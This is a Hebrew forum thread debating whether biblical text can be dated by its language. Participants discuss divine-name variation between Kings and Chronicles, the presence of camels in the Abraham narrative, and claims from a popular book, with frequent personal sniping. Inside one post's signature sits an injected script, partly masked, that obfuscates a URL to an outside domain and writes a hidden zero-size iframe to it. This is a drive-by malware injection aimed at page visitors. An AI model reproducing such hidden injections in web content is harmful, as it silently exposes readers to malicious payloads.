נסיון לתארך את המקרא לפי לשונו: מביקורת המקרא ועד ה"אקדמיה ליהדות"

את הויכוח הענייני אשאיר לאנשים יותר רציניים - אין לי מה להוסיף על מה שכתבתי והקורא ישפוט.
 
בהמשך לוויכוח הילדותי -
אציין כי לא נעלבתי ממך. 

פרזנט, אתה מעייף, יודע? התוכן שלך מעולה ומבריק, מדוע אתה חייב לנמר כל הודעה בעלבונות קטנוניים? לא ירדתי לסוף דעתך בזה.
ואני תקוה שדינוזאורוס בעל האקדמיה יבוא ויסביר את פשר הטעויות שמצא בו אריסטוטלס. ויש לי להודיע צערי לרבים, שגם אני תפסתיו בטעויות כגון דא, אלא שלימדתי עליו זכות שריבוי החומר העצום שבאתרו אינו מאפשר ירידה לפרטי פרטים.

מן הראוי היה לציין לינק לאתר בראשית האשכול, ואולי גם לאפיין אותו קצת יותר. ואם הוא של אחד מחברינו, ראוי היה להעמיד על כך. גם זה יושר אינטלקטואלי.

לעיל כתבתי שיש שינויים שנעשים בלא מודע ולא בכוונת זיוף אלא רק מתוך כך שזה נראה "אותו דבר" או אפילו "יותר טוב".

אני מבקש להוסיף דוגמא מעניינת שלקוחה ממחקר על ספר דברי הימים (שרה יפת, נדמה לי).

מתוך ניתוח הקבלות בין טקסטים בדברי הימים לבין ספר מלכים, מתברר שקטעים שמופיעים עם אחד משמות השם האופיינים בספר מלכים, מופיעים עם שמות אחרים בספר דברי הימים.

צריך כמובן דוגמאות לזה כדי לבדוק, וצריך רקע כדי לדון אם יש משמעות לשינוי הזה. (ודאי שלפי חסידי ביקורת המקרא שיצאו לדרך לפי חלוקת השמות יש בכך הרבה חשיבות). אך אם מתברר שמעתיקי הספרים, ואולי המחברים עצמם, שינו את השמות בשעה שערכו ספרים, אזי כמדומה שחלק ניכר מן הבסיס לחלוקה על פי שמות השם נופל.

מה שכתבתי אמור להצטרף לדיון על שינויי נוסח וכתיב בתנ"ך ומשמעותם, וחשבתי שזה הנושא המרכזי של האשכול.

***
אדם עליון

כתבת

"אינני מבין מדוע על אדם הגיוני לחשוב שספר בראשית נכתב בידי משה, ועוד מפי ה'.

הנוכח

כתבת

"כדי להוכיח את קדימות המקרא אתה יוצר דיכוטומיה כוזבת, לפיה המודעות ההיסטורית התחילה אתמול, ולכן לא יתכן שמישהו שיכתב בשפה של פעם".

אם כך הבנת אותי, סימן שלא הסברתי את עצמי היטב.

מה שרציתי לומר הוא שאם היתה תופעה של כתיבה המיוחסת אחורה, איני יודע מאימתי היו פקחים כאלו שגם רצו לכתוב ולמעשה לזייף וגם היו מודעים לכך שעליהם להתאים את השפה שלהם לשפה המקורית.

המודעות לשינויי תרבות ושפה נראית לי מאוחרת יותר. הבאתי דוגמא לדבר ממעשה הגמלים שלקח עבד אברהם. זו לא דוגמא לגמרי מדוייקת, ויש מי שיחלוק עליה (אני למשל, כי אני מאמין לסיפור המקורי, ואני מביא זאת כהמחשה למי שסבור שיכלו להיות תוספות  והבלעות בטקסט). המספר שחי לפי זה בין ימי אברהם לבין ימי משה סיפר את הסיפור והפך אותו לחלק מן המסורת של צאצאי אברהם והאבות, אבל הוסיף את נוכחותו של הגמל שלא היתה בסיפור המקורי. והוא לא העלה בדעתו שעל ידי כך הוא מוכיח שהגרסה שלו לא יכלה להיות מדוייקת.

לכך התכוונתי ולא יותר.

עוד כתבת

"חז"ל השתמשו במיתולוגיות כמקור מידע היסטורי של ממש, למשל: מהסתירה בין בראשית א' (העופות נוצרו מן המים) לבראשית ב' (העופות, כמו כל בעלי החיים, נוצרו מן האדמה) הסיקו שהעופות נוצרו מן הרקק ולכן הם נכנסים בהגדרה של פרי מפרי וגידולי קרקע ואפשר לקנות אותן בכסף מעשר (שים לב - זו אינה דרשה לשונית ממה שתכל'ס אלוהים חתם עליו, אלא ידע היסטורי הנחוץ להלכה זו או אחרת. דומה הדבר למי שיוכיח מן המקרא כי חשמל הוא אש ולכן אסור בשבת)

טוב, מיימוני, אתה בטח זוכר ששמתי לך באשכול שלי "(...)"...
צר לי, אך לפעמים נדמה שגם אתה מתקשה באותו תחום דעת עליו כתבת שם

מיימוני כתב: הנוכח כתבת "כדי להוכיח את קדימות המקרא אתה יוצר דיכוטומיה כוזבת, לפיה המודעות ההיסטורית התחילה אתמול, ולכן לא יתכן שמישהו שיכתב בשפה של פעם". אם כך הבנת אותי, סימן שלא הסברתי את עצמי היטב. מה שרציתי לומר הוא שאם היתה תופעה של כתיבה המיוחסת אחורה, איני יודע מאימתי היו פקחים כאלו שגם רצו לכתוב ולמעשה לזייף וגם היו מודעים לכך שעליהם להתאים את השפה שלהם לשפה המקורית. המודעות לשינויי תרבות ושפה נראית לי מאוחרת יותר. הבאתי דוגמא לדבר ממעשה הגמלים שלקח עבד אברהם. זו לא דוגמא לגמרי מדוייקת, ויש מי שיחלוק עליה (אני למשל, כי אני מאמין לסיפור המקורי, ואני מביא זאת כהמחשה למי שסבור שיכלו להיות תוספות  והבלעות בטקסט). המספר שחי לפי זה בין ימי אברהם לבין ימי משה סיפר את הסיפור והפך אותו לחלק מן המסורת של צאצאי אברהם והאבות, אבל הוסיף את נוכחותו של הגמל שלא היתה בסיפור המקורי. והוא לא העלה בדעתו שעל ידי כך הוא מוכיח שהגרסה שלו לא יכלה להיות מדוייקת. לכך התכוונתי ולא יותר. פרזנט: לפעמים בני אדם כותבים עם ניסיון ליצור רושם של כתיבה קדומה (ניתן להוכיח זאת כאשר מוצאים טעות היסטורית שהתפלקה להם). כזה בדיוק הוא המצב של החומשים. מיימוני: הנוכח - לא הייתה אז מודעות היסטורית לכך שבזמנים שונים מדברים בצורות שונות. לעיתים משתחלות הגזמות אל סיפורים ישנים אמיתיים. פרזנט מנסה להבין - בשביל מה כתב רבי מיימוני כזה משפט, כשהוא מאדרס אותו אליי? סביר, שהוא ניסה לומר שלייחס תופעה כזאת למקרא זהו דבר שלא יתכן, שכן אז לא הייתה מודעות היסטורית כזו. ושההסקה ע"פ טעויות היסטוריות יש לה תשובה (נניח). ע"ז כותב פרזנט: אתה מציג דיכוטוומיה כוזבת. יתכן מאוד שגם כותבי המקרא היו זייפנים - מאיפה המצאת שהמודעות לשינויי סגנון בין תרבויות נוצרה אתמול? היא הייתה מאז ומעולם. מיימוני: ... (אין לי מושג מה רצית בהודעה זו. אלא אם כן גם בהודעתך הקודמת לא התכוונת לכתוב שום דבר, וסתם הפנית אותה אליי) עוד כתבת "חז"ל השתמשו במיתולוגיות כמקור מידע היסטורי של ממש, למשל: מהסתירה בין בראשית א' (העופות נוצרו מן המים) לבראשית ב' (העופות, כמו כל בעלי החיים, נוצרו מן האדמה) הסיקו שהעופות נוצרו מן הרקק ולכן הם נכנסים בהגדרה של פרי מפרי וגידולי קרקע ואפשר לקנות אותן בכסף מעשר (שים לב - זו אינה דרשה לשונית ממה שתכל'ס אלוהים חתם עליו, אלא ידע היסטורי הנחוץ להלכה זו או אחרת. דומה הדבר למי שיוכיח מן המקרא כי חשמל הוא אש ולכן אסור בשבת) הרמה להנחתה - ההנחתה תהיה כנראה שבקונטקסט התלמודי המקור ההיסטורי הוא הטקסט התנ"כי (ועיין בסוגריים הקודמות)." לצערי לא הבנתי את דבריך. אולי נפלה טעות במילה "מיתולוגיות"? אולי תוכל לבאר יותר לאיזה  טקסט אתה מכוון, מה עשו איתו חז"ל, ואיך זה קשור לאשכול. האם כוונתך שחז"ל הסתמכו על סתירות בין פסוקים כדי לגזור מהם ידע עובדתי כביכול ועליו חזרו ובנו הלכות כמו הלכות שבת? אם כן, איך זה קשור לכאן? האם בכך שהם לא העלו בדעתם שאולי הטקסט בנוי שכבות כאשר מעתיק מאוחר הוסיף שינויי מלים בכוונה או לא בכוונה? בוודאי שהתשובה היא שחז"ל האמינו שהטקסט יצא בשלימותו מיד משה מפי ה' ולכן ניתן לסמוך עליו. אז לא הבנתי מה רצית לטעון. נא הסבר והתחשב בחוסר הבנתי. כתבת שמה שקרה הוא שמשה, או כותב קדום לו, הוסיף גמלים (או הגדיל את מספרם לכדי אבסורד) לסיפורי האגדה שהיו בידו. לכאורה קשה - וכי יתכן שקר/דמיייענעס בתיירע?!?!?!?! (כן, אם הוא קדוש... אבל אין זה ענייננו עכשיו) והתשובה היא געוולדיג - ניין! אלא שאת האגדות שמויישע רביינו הכיר, על הדמיייענעס והכזבים שבהם, הם הם מה שבויירעויילום אמר לו לכתוב! ועכשיו זוהי התיירע הקדויישו! א-מורא'דיג! (כאן מסתתרת שאלה חבויה. אם הכל מה שמשה כתב כולל שטויות מופרכות איך אפשר לדרוש כל אות ותג? אבל ע"ז התשובה היא פשוטה שבתכל'ס אלוהים חתם על זה (אופציונלי: א-מורא'דיג).) אבל פרזנט לא טיפש לשאול שאלה שיש לה תשובה פשוטה. מה שהוא שואל הוא לגבי גזירת ידיעות מדעיות להלכה ממיתולוגיות אלו, למשל מהסתירה בין בראשית א' (מים) לבראשית ב' (אדמה) הסיקו חז"ל שהעופות נבראו מן הרקק ונפקא מינה לגבי זה שהם נקנים בכסף מעשר כגידולי קרקע (אולי אתה לא מכיר את הדרשה הזו אבל זו כבר באמת לא בעיה שלי. היא מופיעה גם ברש"י בבראשית ב'). אילו אלו מיתולוגיות עם דמיונות וכזבים מה מקום יש לגזור מהם ידיעות מדעיות להלכה? וכי תעלה על דעתך לגזור ידיעה מדעית לגבי אם חשמל הוא אש (ונפ"מ לענין שבת) ממיתולוגיה? _________________ שומר פיו ולשונו - שומר מצרות נפשו ******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

הנוכח

גם אז וגם אתה לא הבנתי מה אותן שלוש נקודות באו לסמל. אם תרצה, באר. התחשב שאני מבוגר ממך, וכנראה עייף ואולי באמת לא מספיק אינטליגנטי. מה לעשות. אילו הייתי חרש, והיינו משוחחים בעל פה, היית צריך להרים קול כדי שאשמע. אז אותו דבר לגבי שיחה וירטואלית. הסבר, הסבר, הסבר, בלי להקפיד על מי שאינו חכם כמוך.

(המשל על החרש שייך במקור לסוקרטס).

***

קראתי את מה שכתבת באדום. יש שם קטע שדקדקת מדברי בגלל שזה "סביר". 

חרפת אדם וכולם

הספר נקרא "התנך היה באמת". המחברת: ליאורה רביד. סדרת יהדות כאן ועכשו של ידיעות אחרונות.

עמ' 44 והלאה, גמלים וכתיבה היסטורית.

יש מחלוקת עתיקה שרציתי להקדיש לה אשכול (ואולי כבר היה) לגבי המועד בו גמלים הפכו לאמצעי תחבורה וכלי של האדם. כלומר מתי בויתו ואיך זה הולם את התיארוך של הופעתם במקרא.

יש גישות שונות לכך. ורציתי לסכם ספרי מחקר, כי יש שעל סמך נוכחות גמלים בסיפור שללו את כולו כזיוף. ולמעשה גם קשה מאד לדעת מתי היו ולמי ואם זה באמת מסתדר או לא. (ההוכחות והראיות על דרך השלילה יידונו אם כן במקום אחר).

כאן אני מצטט או מסכם מדבריה בשתי נקודות. לגבי גמלים ולגבי שינויים שלא מדעת, ששניהם נידונו באשכול זה.

אני מתחיל מהסוף.

"ספרות העוברת במסירה שבעל פה מדור לדור נוטה להשתנות. יש להניח שכל מספר שינה פרט או שנים מהסיפור שנחל מקודמו ואף הוסיף לו מעט... יתכן שפרטים אחדים ממה ששמע פרחו מזכרונו. אפשר גם ששמט בכוונה פרטים שנראו לא פחותי ערך, או הדגיש פרטים שבעיני אבותיו נראו שולייים. אפשר כמובן שהוא מסר לשומעיו בצורה מדוייקת מה ששמע מקודמיו."

שימו לב שהאפשרות של הדיוק מובאת כאן אחרונה...

לאחר הכתיבה הטקסט פחות חשוף לשינוי. אבל לא בהכרח. זו אולי הנחת יסוד אופטימית מדי כפי שמציינת גם רביד. 

***
לגבי גמלים

לפי הסיפור אברהם שלח עשרה גמלים עמוסי כל טוב למשפחתו בחרן.

רביד מציעה את האפשרות הבאה:

מאות שנים לאחר ביות הגמל אחד המעתיקים את סיפורו של אברהם מוסיף תוספת שנועדה להציג את עושרו המופלג. 

האם עשרה גמלים זה כה הרבה?

רביד טוענת שכן, ואין לי כלים לבדיקה. אדרבה, מוזמנים כולם לבדוק ולהציע, בין מהשערה, בין ממקורות שונים שאולי יש להם ואין לי.

היא כותבת (עמ' 47):

"בתקופה שבה הועלה על הכתב סיפור מסעו של אברהם, היה הגמל יקר כל כך, שרק מלכים יכלו להרשות לעצמם להחזיקו. הקביעה שבבעלותו של אברהם נמצאו לכל הפחות עשרה גמלים, משולה במושגי ימינו להצהרת הון של אדם שברשותו צי של עשר מכוניות פאר, עשרה מטוסים פרטיים ועשר אחוזות המפורזות ברחבי העולם".

אז ככה.

לגבי ההמחשה כיצד מתרחש שינוי לא מדעת, אני סבור שזה אמור להיות ברור.

השאלה היא אם זה מה שקרה עם הסיפור על אברהם.

אחת הנקודות היא האם באמת גמלים היו כה יקרים, ובאיזו תקופה מדובר, ומהיכן יודעים זאת. רביד לא ציינה מקור לקביעה שלה. הנה, השיירה שלקחה את יוסף מצרימה, בהפרש של מאה עד מאתיים שנה (300?) כבר היתה מבוססת על גמלים. או שמא גם זה תיקון שלאחר זמן?

אז באמת מנין שגמלים היו כה יקרים? אולי באמת טעיתי שסמכתי על דבריה, ותודה לחרפת אדם.

מצד שני, כדאי לבדוק שוב לפני שקופצים ומחליטים סופית. אשמח על כל מקור בנושא שנוגע לשויו של הגמל עם ראשית ביותו.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");

לדברי הבקורת הללו (בראשית האשכול) שניכר בהם שנכתבו מתוך אהבת אמת צרופה, ושאיפה כנה לתיקון עולם במלכות שדי, התייחסתי כאן. סליחה אם הפרעתי לרציפות הדיון הנפלא והמחכים שבעמוד הנוכחי.